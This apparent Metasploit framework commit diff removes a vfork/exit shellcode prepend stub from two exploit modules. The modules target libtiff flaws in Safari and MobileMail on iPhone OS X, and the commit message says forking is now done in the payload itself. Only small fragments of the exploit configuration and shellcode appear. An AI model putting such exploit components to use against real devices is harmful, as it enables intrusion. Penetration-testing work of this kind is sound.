Remove the fork() prepend, since its now done properly in the shellcode

git-svn-id: file:///home/svn/framework3/trunk@5186 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/osx/browser/safari_libtiff.rb

@@ -42,19 +42,7 @@ class Exploits::Osx::Browser::SafariLibTIFF < Msf::Exploit::Remote
 			'Payload'        =>
 				{
 					'Space'    => 1800,
-					'BadChars' => "",
-					
-					# Multi-threaded applications are not allowed to execve() on OS X
-					# This stub injects a vfork/exit in front of the payload
-					'Prepend'  =>
-						[
-							0xe3a0c042, # vfork
-							0xef000080, # sc
-							0xe3500000, # cmp r0, #0
-							0x1a000001, # bne
-							0xe3a0c001, # exit(0)
-							0xef000080  # sc
-						].pack("V*")
+					'BadChars' => ""
 				},
 			'Targets'        =>
 				[

modules/exploits/osx/email/mobilemail_libtiff.rb

@@ -48,18 +48,6 @@ class Exploits::Osx::Email::MobileMailTIFF < Msf::Exploit::Remote
 						{
 							'ConnectionType' => '-bind -find',
 						},
-					
-					# Multi-threaded applications are not allowed to execve() on OS X
-					# This stub injects a vfork/exit in front of the payload
-					'Prepend'  =>
-						[
-							0xe3a0c042, # vfork
-							0xef000080, # sc
-							0xe3500000, # cmp r0, #0
-							0x1a000001, # bne
-							0xe3a0c001, # exit(0)
-							0xef000080  # sc
-						].pack("V*")
 				},
 			'Targets'        =>
 				[